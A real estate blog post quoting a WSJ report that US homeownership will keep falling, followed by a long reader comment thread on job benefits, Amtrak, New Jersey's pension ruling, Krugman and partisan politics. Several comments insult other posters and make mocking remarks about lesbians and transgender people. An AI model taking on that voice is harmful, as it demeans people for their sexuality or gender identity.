Homeownership rate to fall even lower

From the WSJ:

New Housing Headwind Looms as Fewer Renters Can Afford to Own

Last decade’s housing crisis could give way to a new one in which many families lack the incomes or savings needed to buy homes, creating a surge of renters and a shortage of affordable housing.

The latest problem looks very different from the subprime mania of the early 2000s, but it shares one trait: Policy makers in Washington appear either unaware or unwilling to do much about it.

The U.S. homeownership rate is below where it stood 20 years ago when President Bill Clinton launched a national campaign to encourage Americans to buy homes. Conventional wisdom says the rate, at 63.7%, is leveling off to where it was for decades before the housing-market peak.

But this is probably wrong, according to research from the Urban Institute, which predicts homeownership will continue to slip for at least 15 years.

Demographics tell the story.

Urban Institute researchers predict that more than 3 in 4 new households this decade, and 7 of 8 in the next, will be formed by minorities. These new households—nearly half of which will be Hispanic—have lower incomes, less wealth and lower homeownership rates than the U.S. average.

The upshot is that fewer than half of new households formed this decade and the next will own homes. By contrast, almost three-quarters of new households in the 1990s became homeowners.

The downtrend would push homeownership below 62% in 2020, and it would hold the rate near 61% in 2030, below the lowest level since records began in 1965.

The declines reflect a surge of new renter households, which is boosting rents. Together with tougher mortgage-qualification rules, this will leave households stuck between homes they can’t qualify to purchase and rentals they can’t afford, says Ron Terwilliger, who spent two decades running Trammell Crow Residential, one of the nation’s largest apartment developers.

This entry was posted in Demographics, Economics, Housing Recovery, National Real Estate. Bookmark the permalink.

158 Responses to Homeownership rate to fall even lower

  1. anon (the good one) says:

    @ezraklein: Avg. tax rate of US income tax filers:

    Top 0.001 percent: 17.6%
    Top 1 percent: 22.83%

  2. Libturd in the City says:

    Was at my desk at 6:45am. Surprisingly, third in the office this morning (only counting 1st shift). :P

  3. Libturd in the City says:

    @Libturd: IQ of njrereport readers:

    Top 99.9% : 100-140
    Anon: <70

  4. The current housing market reminds me of my company. We were acquired a little less than 5 years ago. Prior to that we had outstanding, 100% company paid benefits. The acquiring company has an inferior benefits package, so inferior that they couldn’t even force us into it cold turkey. They let us keep our existing benefits for about 18 months and now we have their benefits but we are grandfathered in for vacation time and they are subsidizing our employee contribution for 8 years. That’s for the “lucky” ones who already have high salaries, lot of vacation time, etc. Anybody hired new off the street jumps right into the crappy benefits package, 2.5% raises, and 2 weeks vacation for the first 8 years. So our company is now split between the haves and the have-nots. What’s worse is new employees don’t figure out until long after they’ve “bought in” how crappy they have it and how dim their future prospects are compared to the others who got in at the right time.

  5. grim says:

    Was flying back through Philly last night, flight cancelled, ended up hiking over to the 30th St Station and taking the Amtrak back to Newark at midnight. More comfortable than flying, surprised how nice it was.

  6. Sounds sorta like a Ponzi there, expat. Latecomers get screwed.

  7. grim (6)-

    It’s all fine and dandy, until your train hits a curve at 105 mph.

  8. Libturd in the City says:

    Expat,

    That vacation policy is absolutely terrible. We get our 3rd week at 5 years and 4th week at 10. Though 2.5% raises are pretty good compared with my company.

  9. grim says:

    7 weeks, which is largely a joke, because nobody uses it. With carry-over it basically means you always have 7 weeks on tap. I rarely take more than 2-3 a year, including random days off. You probably wouldn’t last very long if you took that many days, so really, it’s more like a short-term disability insurance policy than a vacation policy.

  10. Libturd in the City says:

    My eyes are burning. Check out the horrific graphic design on Montclair’s annual police report.

    http://www.montclairnjusa.org/dmdocuments/MPD_AR_2014.pdf

  11. Libturd in the City says:

    7 weeks? Is your CEO French?

  12. grim says:

    No, it’s grandfathering back from during the dot com days. When we were acquired it was part of the retention strategy. I think there are about a dozen of us left with it. Probably 10x that with the 6 week plan, and who knows how many more at the 5. I mean 7 x 5 day weeks = 35 days. Worked pretty well as a retention strategy. Most of us would scoff at 2 weeks, even though we really have the equivalent after letting days expire every year. Honestly, using it is akin to abusing it, and I don’t think anyone would last very long taking that much time off. The most aggressive use of this I’d ever seen was a whole department taking half-day Fridays for the whole summer.

  13. Libturd in the City says:

    Two thousand zero zero party over, oops, out of time.
    So tonight I’m gonna party like it’s nineteen ninety-nine.

    http://finance.yahoo.com/news/small-chinese-investors-flying-blind-072006040.html

  14. grim says:

    I didn’t know there were fireworks scheduled for today…

  15. grim says:

    From the Star Ledger:

    N.J. pension fight might not end with state Supreme Court ruling

    If the state Supreme Court rules Tuesday that New Jersey’s public workers have a contractual right to pension funding and orders Gov. Chris Christie to pay back the $1.6 billion he cut from the current budget, the fight may not end there.

    State Assemblyman Declan O’Scanlon (R-Monmouth) said he would consider defying a court decision that would order such a huge payment with only three weeks left in the fiscal year, saying it would crush New Jersey’s taxpayers and economy.

    That kind of response could set up a power struggle between the courts and the other two branches of New Jersey government.

    “If the court acts in a way that is completely unrealistic… I think our duty then is to act responsibly in the face of that irresponsible court action,” O’Scanlon said.

  16. 1987 Condo says:

    Take Amtrak whenever I can. took up to Boston last week, able to join WebEx’s and conf calls throughout trip. Even texted engineer about what a smooth ride…..(that was a sarcastic joke)

  17. grim says:

    Having ridden the subway and path primarily, this was like flying first class. Wondering how much nicer the business class car is. $54 one way wasn’t a bad price.

  18. 1987 Condo says:

    When you see 1bdr going for $2,500/month in Roseland and 3 bdrs going for $3,000/monthin Bloomfield, with no tax breaks or principal pay down, no wonder house prices are high…

    http://www.avaloncommunities.com/new-jersey/roseland-apartments/avalon-roseland/floor-plans

    http://www.avaloncommunities.com/new-jersey/bloomfield-apartments/avalon-bloomfield-station

  19. Libturd in the City says:

    “If the court acts in a way that is completely unrealistic… I think our duty then is to act responsibly in the face of that irresponsible court action,” O’Scanlon said.

    Could you imagine if mere individuals could pull that kind of krap?

    Which way does the NJ Supreme Court lean? Slightly right. If my sheepmeter is correct, the court will support Christie. Baa!

  20. 1987 Condo says:

    NJ Supreme court??…those that brought you Abbott, etc…isn’t it the most “progressive” activist court in nation?

  21. Libturd in the City says:

    Do you think the adds for Avalon Bloomfield will mention that the commute into NY is Standing Room Only and then time performance can best be described as seldom? On the bright side, Anthony’s Cheesecake is awesome for meals. Not a cheesecake fan personally.

  22. Libturd in the City says:

    NJ Supreme court??…those that brought you Abbott, etc…isn’t it the most “progressive” activist court in nation?

    It all depends on who appointed them. Corzine made the mistake of appointing a Republican, which goes along with his true wimpy nature.

  23. Libturd in the City says:

    Hey, if the court rules in the favor of the unions, Christie would have no choice but to float a tax increase. Can’t wait to see the fireworks if he does this. Perhaps he’ll take the money from Abbott districts?

  24. Our vacation policy used to be 3 weeks to start, 4th at 8 years. We used to have not a single dollar come out as employee premium contribution with Cadillac health, dental, vision, life, etc. When they switched us over to their health, the first year it was no premium, no deductible, 2nd year, no premium but they added in the deductible, then 3% premium, 6% premium, 9% premium, etc. Just turning up the heat slowly to boil the frog.

    Our 401(k) used to be 7% salary match(with 3 year vesting!). Now, interestingly, it’s been a steady 6% spread out over 401K and KSOP but it’s non-match. They give the 6% to everyone even if they contribute nothing.

    Expat,

    That vacation policy is absolutely terrible. We get our 3rd week at 5 years and 4th week at 10. Though 2.5% raises are pretty good compared with my company.

  25. [25] Our health plan used to be so great that we paid employees $5,000 per year if you skipped our health coverage. Now they pay $500. Oh… and now if you have a spouse who has health insurance available at work (at any price), $50 monthly surcharge. Smoker, $50 monthly surcharge on that too.

    The only smart thing they do is if by your 2nd year in the company you and everyone in the family hasn’t gone to the dentist at least once, they reduce your dental benefits by 50%. Since we’re a dental company I guess it looks bad if you have a lot of toothless workers.

  26. anon (the good one) says:

    @Judd_Markowitz:
    Senior citizens pay higher taxes on their social security benefits than billionaires pay on stocks.

  27. JJ says:

    Some companies now give unlimited vacation and sick days. But you have to complete your work load. Honestly it sounds good on paper but in reality you take more than four weeks you get written up or fired as your work product decreases.

    My company Gen X and the Millenniums don’t like our vacation policy. To start it is below average. Then at year 3 you get two extra days then at year ten you get and extra week.

    The kids suffer through 3 years like it is an eternity and cant phantom waiting ten years for the extra week. The folks over 50 complain they should get more time at 13 years and 20 years. They are thinking ahead.

    I straddle the two eras a bit as I have never been at a job ten years. I made it to 7 and 8 years at two jobs. And honestly at both I was punching a clock by year five. The one I stayed 8 years I wanted to leave at year five due to vesting and a recession trapped me there another three years. So for me ten year is crazy to tell a new employee who barely knows company.

    Also the ten years is weird too cause if someone worked a whole ten years to get extra vacation do they just quit? Also lots of companies on wall street and banking for exempt employees they have a one month a year severance policy.

    Which means hardly anyone in a place that does this every quits over ten years whether they like the job or not. They either way to get laid off or retire.

    My cousin at Chase who had this policy hated chase but he was there 15 years. Chase would give him one years severance as they match the month a year to a max of 12 months and they if laid off in a mass laid off and let go quick you get an additional 60 days pay for Warn Act

    He turned down 50K pay raises as he was afraid he get job a few months later let him go with nothing. In the end Chase let him go in Fianancial crisis and he got full 14 months pay plus immediate vesting of all stock grants. Chase did not go belly up in Crisis he never sold stock and he found a job a few months later. His friends who were new in job suffered greatly he had a huge cushion. But the policy traps older workers, with stay at home wives and kids.

  28. [11] That is ugly. The pie slices are even arbitrarily sized on the cover.

    Check out their midnight tour numbers. Calls are going up, Incidents aren’t going down, the only thing that’s going down is arrests and traffic stops. Sounds to me like they’re getting the calls, just not doing anything about it.

    My eyes are burning. Check out the horrific graphic design on Montclair’s annual police report.

  29. Libturd in the City says:

    Also, I noticed they have significantly reduced speeding and moving violation tickets. Strange, as their police cars look equipped to compete in the Indy 500.

  30. chicagofinance says:

    Libturd in the City says:
    June 9, 2015 at 7:30 am
    @Libturd: IQ of njrereport readers:

    Top 99.9% : 100-140
    Anon: <70

    Levine and Marks 1928 IQ classification
    175 and over Precocious
    150–174 Very superior
    125–149 Superior
    115–124 Very bright
    105–114 Bright
    95–104 Average
    85–94 Dull
    75–84 Borderline
    50–74 Morons
    25–49 Imbeciles
    0–24 Idiots

  31. chicagofinance says:

    Anon = moron

  32. FKA 2010 Buyer says:

    RE is like any financial transaction. You have to know what you are doing and hope you are getting an honest deal.

    Why the real estate business has jaded me
    This is a topic I’ve grappled with for quite some time. I was raised out West in a family of modest means. My parents didn’t expect me to go to college, but they expected me to work hard and keep my word. A handshake was all my dad needed to give, and I believed most people were generally the same.

    Going into the real estate business, specifically, has jaded me. I was really an idealistic babe when I first waded into the entrepreneurial waters. I believed I could take risks on people because the vast majority were honest. I came to the sad realization that most people will cheat you if there is no chance they’ll get caught. I found you never really know someone until you make a financial deal with them. I was devastated when I entered into deals with longtime friends and family and found they not only didn’t live up to their word but in some cases outright cheated.

    http://www.washingtonpost.com/blogs/where-we-live/wp/2015/06/08/why-the-real-estate-business-has-jaded-me/

  33. chicagofinance says:

    Friend works for Intel ……. 18 years….
    http://money.cnn.com/2014/09/12/pf/time-off-sabbaticals/

  34. I’ve noticed this everywhere local. I think it’s a see-no-evil economic stimulus that lets people pretty freely commute, drive trucks, etc. with or without licenses or insurance. I do know of one frequent speed trap right on my street, but I wouldn’t be surprised if they only pull over predominantly out-of-state plates driven by Boston College students.

    Also, I noticed they have significantly reduced speeding and moving violation tickets. Strange, as their police cars look equipped to compete in the Indy 500.

  35. FKA 2010 Buyer says:

    Guess her husband didn’t want her back home

    Gunman Picked the Wrong Person

    Florida police released surveillance video showing a person of interest in the attacks on two real estate agents.

    The footage, recorded at a Walmart store, shows a man wearing a white shirt and slacks.

    Florida Cops Fear Repeat of Attacks on Real Estate Agents

    The attacks happened Wednesday in St. Petersburg. The first victim, who fears the release of her identity, told ABC News a man put her in handcuffs, and then put on his gloves.

    PHOTO: St. Petersburg, Florida police released a sketch showing a man who they say attacked two real estate agents while they were showing him homes.

    VIDEO: Florida Police Search for Man Who Held Real Estate Agents at Gunpoint
    Play Video

    VIDEO: Police Release Sketch of Suspect in Real Estate Agent Robberies
    Play Video

    The man then called her husband, demanding $50,000. Her husband said no. “My first thought is, ‘I am going to die,’ my second thought, ‘Was he going to hurt me?’” the woman said.

    “He just really couldn’t wrap his head around the whole situation that I wasn’t going to bow to his demands, and he just picked the wrong person,” she said.

    The man scheduled the first appointment for 1 p.m. that day using a fake name, police said. Once inside, authorities say the man tied the victim’s hands and feet before calling her husband demanding a ransom. But after something spooked the man, he fled.

    http://abcnews.go.com/US/gunman-picked-wrong-person-florida-real-estate-agent/story?id=31608286

  36. chicagofinance says:

    It’s official — Caitlyn Jenner can now use the ladies’ room.
    The US Department of Labor has issued guidelines to private businesses that say transgender employees should be allowed to decide for themselves whether to use the men’s or ladies’ room.
    “The core belief underlying these policies is that all employees should be permitted to use the facilities that correspond with their gender identity,” according to OSHA guidelines released by the Occupational Safety and Health Administration of the Labor Department. The National Center for Transgender Equality had requested the guidance.
    “For example, a person who identifies as a man should be permitted to use men’s restrooms, and a person who identifies as a woman should be permitted to use women’s restrooms. The employee should determine the most appropriate and safest option for him- or herself,” the guidelines said.
    The feds said the issue was important because there are about 700,000 transgender adults in the US, or 0.2 percent of the population.
    Under the section “Why Restroom Access Is a Health and Safety Matter,” the department advised that “Gender identity is an intrinsic part of each person’s identity and everyday life” so it “is essential for employees to be able to work in a manner consistent with how they live the rest of their daily lives, based on their gender identity.”
    Refusing to let workers use the facilities they identify with singles them out and may even make them fearful for their personal safety, it added.
    Transgender issues have been front and center in the news since ex-Olympian Bruce Jenner revealed that she now identifies as a woman and changed her name to Caitlyn.

  37. 1987 Condo says:

    #30…for those high speed chases on Bloomfield ave?

  38. grim says:

    At this point, just go co-ed.

  39. Anon E. Moose says:

    Grim [6];

    I used to prefer Amtrak to the USAir shuttle when I needed to be in DC with some recurring frequency. As you said, much higher comfort level than the flight, which let me get some work done en route. Door-to-door times were surprisingly close.

    There were the occasional service interruptions. One trip southbound the train pulled into 30th St. Philly and stopped on the platform, doors open. They announced a freight car derailment near Wilmington, and there was NO ETA. I grabbed my stuff, walked upstairs, rented a car from 30th St. and drove on to DC. On the way I moved my first appointment in DC to after my last, and my day wasn’t shot. Drove back to Philly that evening, and no matter what time I got there, my ticket was good on the next northbound train home. I even think I got a refund for my unused ticket, at least the DC-Philly northbound portion since I only got on at Philly. As alternative arrangements go, I couldn’t have done that if we were in some holding pattern.

  40. JJ says:

    Love the stupid realtor ads. This one came up as a new listing today

    Mint Split Level Home. 4 Brs With Master Br Suite.. Energy Efficient Solar Panels..Upgraded Kitchens And Baths.. Trex Back Deck.. Organic Raised Vegatable Garden..

  41. chi (32)-

    That’s an insult to morons. I think anon is firmly into the imbecile bracket.

  42. Can’t wait until “raised vegetable gardens” turns into “whatever we can cadge out of dumpsters”.

  43. grim says:

    43 – Did they crap in the compost pile?

  44. Libturd in the City says:

    43 – Or make holes in the onions?

  45. anon says:

    Grim. These dot com guys need lots of time off to climb Mt. Everest and sail across the Pacific. It shows everyone how special they are. It’s their version of a Rolls Royce.

  46. Ragnar says:

    South Park already covered how to deal with bathrooms in our brave new world of CIS and non-CIS people.
    https://vimeo.com/109123496

  47. anon (the good one) says:

    @njdotcom: NYC mayor Bill de Blasio rips Exxon settlement in letter to N.J. officials

    “New York City Mayor Bill de Blasio fired off a letter to New Jersey officials blasting the $225 million pollution settlement reached with Exxon Mobil, according to a report.

    The de Blasio administration’s letter to the New Jersey Department of Environmental Protection calls the agreement announced earlier this year, “wholly inadequate,” NYTimes.com reported.

    The letter was filed on Friday, the last day of the two-month public-comment period, the Times said.

    In the letter, a lawyer for the New York City Corporation Council argues Newark Bay, Arthur Kill, Kill Van Kull and Upper New York Bay are still exposed to contamination from the Exxon facilities.

    “The city believes that the proposed settlement, as drafted, does not adequately compensate for the extensive and well-documented natural resource damage caused by the Exxon facili

  48. grim says:

    These dot com guys need lots of time off to climb Mt. Everest and sail across the Pacific.

    Maybe I’ve always been in the wrong dot coms, but I’ve never known anybody to do this – I know plenty of hikers and climbers that have taken time off to climb some big peaks, but those are things they would have done regardless of employment. In fact, most of the big peak climbers I knew were involved in construction, almost all framers, oddly. Probably because if you can frame, you can pretty much frame anywhere, and it doesn’t take a whole lot in tools and equipment to do it.

  49. grim says:

    I’ve known more dot com’ers that were more interested in taking time off to go to gencon or comicon.

  50. D-FENS says:

    Looks like the court decision sided with Christie on the pensions.

  51. Libturd in the City says:

    I guess Exxon didn’t schedule their bribery session with mayor lesb1an lover in time.

  52. Libturd in the City says:

    “Looks like the court decision sided with Christie on the pensions.”

    If you are correct, then its the same as it ever was. Partisan politics at its worst. Keep on sending in those donations to keep our f’ed system in place. Baa.

    Certainly, you all know my position on these union bought pensions. But it would be nice if our court system wasn’t politicized. Then again, the sheeple don’t even realize it. I wish there was a way to bet on it. Never was there as worse an example of this then with the hanging chads. It’s time to throw the two corrupt parties under the bus. Then roll back and forth over them a few times.

  53. JJ says:

    considering NYC Pension funds hold a boat load of Exxon stock the mayor is an idiot

  54. Libturd in the City says:

    It’s one thing to watch lesb1ans. It’s another to marry one.

    http://tinyurl.com/deblasios-wife

  55. The Great Pumpkin says:

    One of the greatest confidence tricks ever pulled in American politics was the way Republicans managed, for a while anyway, to convince centrists that they were apostles of fiscal responsibility. Paul Ryan presented budgets that combined huge tax cuts for the rich with not quite as huge benefit cuts for the poor, added some magic asterisks — basically deficit-increasing redistribution from the have-nots to the haves, with added fraudulence — and received awards for fiscal responsibility.

    Anyway, at this point we have evidence of what such politicians actually do in office, thanks to the many US states where Republicans control both the governor’s office and the legislature. And the result is an epidemic of fiscal crisis, despite a recovering economy. Yes, some Democrat-controlled states are also having problems. But they didn’t go around pretending to be the nation’s fiscal saviors, and the biggest state controlled by Democrats, California — which was supposed to be a basket case — is in quite good fiscal shape.

    And yes, I think this observation is a lot more important than Marco Rubio’s personal financial difficulties, although those are pretty bizarre.

    http://krugman.blogs.nytimes.com/

  56. Juice Box says:

    re # 41- “Organic Raised Vegatable Garden.” Back when I was working my way through college, I was earning my keep on a landscape project in Montclair, mostly brick patio work around pool and plantings. Homeowner then came up with this bright idea of putting in an organic garden. The owner of our landscape company sold them on the idea of a large 40 x 60 organic garden and we went about ripping out the lawn and plantings to accomodate. Near the last day of the project a large dump truck shows up and drops about 20 yards of horse manure. We spend the better part of that day wheelbarrowing the stuff all over the organic garden. The entire neighbodhood smelled like Belmont park that day, I am pretty sure the neighbors called the cops.

  57. Libturd in the City says:

    horse manure instead of cow poop? Didn’t know they used it for that.

  58. Libturd in the City says:

    Pumpy. Neither party is fiscally responsible. As a matter of fact, both parties are equally fiscally irresponsible. This is how it works. Which ever lobbyists pay the most win. Most interests smartly give to both parties. I’m actually surprised that a corporate lobbying tax hasn’t yet been made into law.

  59. JJ says:

    Funny part in the United States it is actually illegal to eat horse meat partially because race horses are so pumped full of chemicals of every nature the meat is dangerous to eat. I wonder if that was horse poop from what type of horse.

    Juice Box says:
    June 9, 2015 at 10:57 am
    re # 41- “Organic Raised Vegatable Garden.” Back when I was working my way through college, I was earning my keep on a landscape project in Montclair, mostly brick patio work around pool and plantings. Homeowner then came up with this bright idea of putting in an organic garden. The owner of our landscape company sold them on the idea of a large 40 x 60 organic garden and we went about ripping out the lawn and plantings to accomodate. Near the last day of the project a large dump truck shows up and drops about 20 yards of horse manure. We spend the better part of that day wheelbarrowing the stuff all over the organic garden. The entire neighbodhood smelled like Belmont park that day, I am pretty sure the neighbors called the cops.

  60. Libturd in the City says:

    Let me score the NJ supreme court decision for the losers here who believe that politicians care about their constituents’ interest.

    Judges Rabner and Albin are Democrats. They dissented.
    Four of the other five (including the temp Mary Cuff) are Red team and reversed the decision.
    The supposed independent (appointed by Whitman the Repub) also reversed the decision.

    Send in your donations. There’s still time by purchase favor. The Clinton foundation is always looking for some political direction.

    Baa!

  61. chicagofinance says:

    “Organic Raised Vegatable Garden..”

    Isnt that code for “the septic tank failed”?

    JJ says:
    June 9, 2015 at 9:20 am
    Love the stupid realtor ads. This one came up as a new listing today

    Mint Split Level Home. 4 Brs With Master Br Suite.. Energy Efficient Solar Panels..Upgraded Kitchens And Baths.. Trex Back Deck.. Organic Raised Vegatable Garden..

  62. JJ says:

    Considering, oil, absestos, lead paint, raw sewerage were floating down by street in Sandy how organic is soil anyhow

    chicagofinance says:
    June 9, 2015 at 12:31 pm
    “Organic Raised Vegatable Garden..”

    Isnt that code for “the septic tank failed”?

    JJ says:
    June 9, 2015 at 9:20 am
    Love the stupid realtor ads. This one came up as a new listing today

    Mint Split Level Home. 4 Brs With Master Br Suite.. Energy Efficient Solar Panels..Upgraded Kitchens And Baths.. Trex Back Deck.. Organic Raised Vegatable Garden..

  63. The Great Pumpkin says:

    Lol…yup. This tells you all you need to know about politics.

    Libturd in the City says:
    June 9, 2015 at 12:31 pm
    Let me score the NJ supreme court decision for the losers here who believe that politicians care about their constituents’ interest.

    Judges Rabner and Albin are Democrats. They dissented.
    Four of the other five (including the temp Mary Cuff) are Red team and reversed the decision.
    The supposed independent (appointed by Whitman the Repub) also reversed the decision.

    Send in your donations. There’s still time by purchase favor. The Clinton foundation is always looking for some political direction.

    Baa!

  64. Statler Waldorf says:

    Have to love the “mainstream” media’s fantasy world…

    “A second lawsuit has been filed against Caitlyn Jenner in connection with a fatal, four-car accident that happened in February on California’s Pacific Coast Highway.”

    http://www.cnn.com/2015/06/09/homepage2/jenner-crash-second-lawsuit

  65. grim says:

    Strict term limits by office as well as by governmental jurisdiction, bare minimum of benefits and salary, absolutely no retirement package. Public service should be a sacrifice and not a career.

  66. Statler Waldorf says:

    “Organic Raised Vegatable Garden” is code for 2×6 beams that need to be dug out so you can plant grass seed.

  67. Libturd in the City says:

    “Strict term limits by office as well as by governmental jurisdiction, bare minimum of benefits and salary, absolutely no retirement package. Public service should be a sacrifice and not a career.”

    Agree, but its too late. There are simply too many fools in this country.

  68. grim says:

    Government should be staffed by those successful enough in their careers to afford the sacrifice.

    You know, I’m talking about George Washington and Thomas Jefferson kind of shit.

  69. Fast Eddie says:

    Government should be staffed by those successful enough in their careers to afford the sacrifice.

    L1berals? Any questions?

  70. grim says:

    I know, a shockingly unrealistic expectation that those in leadership positions actually have some leadership experience.

  71. Fast Eddie says:

    I know, a shockingly unrealistic expectation that those in leadership positions actually have some leadership experience.

    You mean, like, community organizing?

  72. grim says:

    And for those who lack real world experience, I think the military is another acceptable avenue.

    Basket weavers need not apply.

  73. The Great Pumpkin says:

    66- Some funny tidbits about this pension fiasco.

    First, the governor that created this pension law, has wasted tax payer money going through courts to put down a law he made. How can you even make sense of this play by Christie? How can you take him serious after breaking his own law?

    Second, young public workers continue to pay into a system on its way to insolvency. If that’s not wrong and insane, I don’t know what is. How can you continue to payout current retirees at the expense of current workers who will never get a pension? How? Beyond insane.

    Third, if Christie didn’t keep his end of the bargain in his 2011 law, why are the workers still required to adhere to the changes involving higher contributions, no cola, and retirement age increased by 3 years? How can you keep one piece of the law and ignore the other part of the law? Makes no sense.

  74. grim says:

    Second, young public workers continue to pay into a system on its way to insolvency. If that’s not wrong and insane, I don’t know what is. How can you continue to payout current retirees at the expense of current workers who will never get a pension? How? Beyond insane.

    Exactly why defined benefit pension (aka Ponzi) schemes should be illegal.

  75. Fast Eddie says:

    And for those who lack real world experience, I think the military is another acceptable avenue.

    The majority of Oblama voters.

  76. Anon E. Moose says:

    Gourd [58];

    Is it not yet abundantly clear why even Princeton unceremoniously dropped Krugman like a bad habit? People (students and teachers alike) go to CUNY only if they have an axe to grind.

  77. The Great Pumpkin says:

    Great idea in theory, but we all know what happens here. We end up with the exact same govt we have now. People start drinking the power(ade) and become drunk with the power and overcome with greed. Then they just hook up their buddies (establish a circle of people around you who protect you and are willing to take the blame if things go wrong) and whoever will pay them off, all in the name to increase/maintain their power.

    Fast Eddie says:
    June 9, 2015 at 1:26 pm
    Government should be staffed by those successful enough in their careers to afford the sacrifice.

    L1berals? Any questions?

  78. The Great Pumpkin says:

    The guy is really smart. He is a top economist. You can hate him because he declares himself a liberal, but that should not keep you from ignoring what he says. I’m sure some right wing donor had something to do with him leaving princeton. I don’t know the story, but I’m sure someone who did not like what he was saying, made it a priority to get him out.

    On economics, he tells it how it is. Just because he is a liberal, doesn’t mean he just promotes an agenda from the left. He actually attacks the left. He doesn’t just adhere to a school of thought, his thinking changes. I respect that.

    Anon E. Moose says:
    June 9, 2015 at 1:34 pm
    Gourd [58];

    Is it not yet abundantly clear why even Princeton unceremoniously dropped Krugman like a bad habit? People (students and teachers alike) go to CUNY only if they have an axe to grind.

  79. The Great Pumpkin says:

    80- That’s the big question. How do you have an effective leader without giving them much power? Figure that out and you have a much better govt system than of the options that exist today.

  80. jcer says:

    Krugman is a hack, not a lot of original thought in any of his work and he is so motivated by ideology there are clear flaws in a lot of what he writes, it makes sense that he was fired.

  81. Libturd in the City says:

    “Third, if Christie didn’t keep his end of the bargain in his 2011 law, why are the workers still required to adhere to the changes involving higher contributions, no cola, and retirement age increased by 3 years? How can you keep one piece of the law and ignore the other part of the law?”

    That’s an excellent question Blumpster.

    The answer is this. The unions have it so good that they know that even if they receive half of what they were promised, it is still a great deal. They know that what they were promised was never going to be obtainable. If the union(s) had cajones, they would stop making their own contributions to the pension, much like CC has chosen to not make (all) of his. But if the union(s) didn’t make their contributions, it would send the signal that they agree that the pension is indeed f’ed.

    The unions will fight this until all of NJ looks like Camden. Too much was promised and the math doesn’t work. The wealthy have lobbied effectively to keep more and more of what they have earned. It’s now up to the middle sector to fight over the crumbs that remain. Private vs Public. Sadly, both fighters will lose in the end. Send in your campaign contributions. There is still time!

  82. JJ says:

    Can Caitlyn Jenner be sued? Afterall Bruce was in accident and he no longer exists

    Statler Waldorf says:
    June 9, 2015 at 1:09 pm
    Have to love the “mainstream” media’s fantasy world…

    “A second lawsuit has been filed against Caitlyn Jenner in connection with a fatal, four-car accident that happened in February on California’s Pacific Coast Highway.”

  83. Libturd in the City says:

    Caitlyn certainly will have some flesh she can afford to part with.

  84. Juice Box says:

    re: 3 60 – Of all the various types of barnyard manures horse manuare is most widely available, meaning it is cheaper by the yard. If you need 20 yards you might want to save a few bucks.

  85. Juice Box says:

    re # 85 – Since when is split personality not a disorder? The psychaitric manuals say it is a mental illnesses, are the Doctors wrong or it is now just a cultural phenomen?

  86. LOL – adjacent to the article is an ad for Rice-a-Roni….The San Francisco treat!

    It’s one thing to watch lesb1ans. It’s another to marry one.

    http://tinyurl.com/deblasios-wife

  87. anon (the good one) says:

    Reagan is the best example here

    The Great Pumpkin says:
    June 9, 2015 at 10:55 am
    One of the greatest confidence tricks ever pulled in American politics was the way Republicans managed, for a while anyway, to convince centrists that they were apostles of fiscal responsibility. Paul Ryan presented budgets that combined huge tax cuts for the rich with not quite as huge benefit cuts for the poor, added some magic asterisks — basically deficit-increasing redistribution from the have-nots to the haves, with added fraudulence — and received awards for fiscal responsibility.

  88. Libturd in the City says:

    Fiscal responsibility has never been dictated by a president ya dolt. The economy and resulting tax revenues are what increase and lower the so-called deficit. In the end, everyone blames the last guy and government forever expands.

  89. grim says:

    Caitlyn certainly will have some flesh she can afford to part with.

    Pretty sure a quarter pounder isn’t enough to settle for.

  90. The Great Pumpkin says:

    Why is Krugman a hack? I think he has original thoughts and that is why he is attacked by the gold freaks of economics.

    He is highly intelligent, you can’t deny that. He did some great work in the field of economics. It’s just funny that since he started associating himself with liberalism, he has been on the constant attack. So far he has been right. The austerity measures hurt us more. If we had just provided stimulus, we would prob be already in a booming economy getting ready for the next recession. Instead, we have had bs growth that is just finally starting to come around.

    Basically, you are probably a conservative and have read talking points from other conservatives about krugman to have so much hate for him. How has he been wrong? I can tell you right now how the monetarists and austrians screwed things up by choosing austerity to fix the crash of 2008. It’s the most ignorant thing, in terms of economics, that these politicians could have done after the crash of 2008. How do you cut spending after the economy has already cut spending for you with a giant crash? Killing jobs and destroying the consumer at its weakest point is just brilliant, don’t you think?

    jcer says:
    June 9, 2015 at 1:45 pm
    Krugman is a hack, not a lot of original thought in any of his work and he is so motivated by ideology there are clear flaws in a lot of what he writes, it makes sense that he was fired.

  91. anon (the good one) says:

    on that basis, Reagan, a notoriously failed actor, wouldn’t qualify.

    and what can one possibly say about W!

    grim says:
    June 9, 2015 at 1:13 pm
    Government should be staffed by those successful enough in their careers to afford the sacrifice.

    You know, I’m talking about George Washington and Thomas Jefferson kind of shit.

  92. Ragnar says:

    Krugman is much more understandable when you realize he’s an evil dwarf bent on tricking humans into committing financial suicide.

  93. The Great Pumpkin says:

    Agree. That’s why it’s important to have people dictating policy that really understand the problems. Cutting taxes can’t be the solution for every economic problem, which seems to be how republican politicians do it. They never change their song. You have to start to question that at some point.

    I’m in no way defending democrats(they suck too). I’m just pointing at why the republicans are just totally crazy. They come up with the same solution for every problem. How can every problem be solved by less taxes or a corporate tax break? That’s crazy. Shouldn’t a corporation be able to function without a tax break? I don’t get it. So the corporations that don’t get a tax break are now dead? What gives?

    Libturd in the City says:
    June 9, 2015 at 2:47 pm
    Fiscal responsibility has never been dictated by a president ya dolt. The economy and resulting tax revenues are what increase and lower the so-called deficit. In the end, everyone blames the last guy and government forever expands.

  94. The Great Pumpkin says:

    Why is it financial suicide to take borrowed money from good times and use it during the bad times? When the economy improves, you cut the spending. When the economy tanks, you increase the spending. It’s not perfect, but it’s much better than just cutting everything. What kind of solution is that?

    Ragnar says:
    June 9, 2015 at 3:25 pm
    Krugman is much more understandable when you realize he’s an evil dwarf bent on tricking humans into committing financial suicide.

  95. Ragnar says:

    Dear Mr Pumpkins,
    Please identify all the Austrian Economists who have had positions of power and influence, and have made government/financial policy decisions over the past 20 years.

    I’ll start you off with one person who isn’t and never has been an Austrian economist:
    Alan Greenspan.

  96. The Great Pumpkin says:

    97- Yes, you won’t have as high peaks, but you won’t have significant lows. Why do you insist on policy that created giants booms and busts? Why?

  97. The Great Pumpkin says:

    Gr$enspan was monetarist…friedman’s boy. Remember when friedman knew it all? The austrian school is not main stream, but for some reason after 2008, they came out of the woodwork. The ron pauls of the world claiming we need to have a go!d standard. Anyone advocating for the gold standard is fuc$ing bat shi! crazy. Do you know how bad the boom and busts are under the go!d standard? Why would you advocate for something like that?

    Ragnar says:
    June 9, 2015 at 3:29 pm
    Dear Mr Pumpkins,
    Please identify all the Austrian Economists who have had positions of power and influence, and have made government/financial policy decisions over the past 20 years.

    I’ll start you off with one person who isn’t and never has been an Austrian economist:
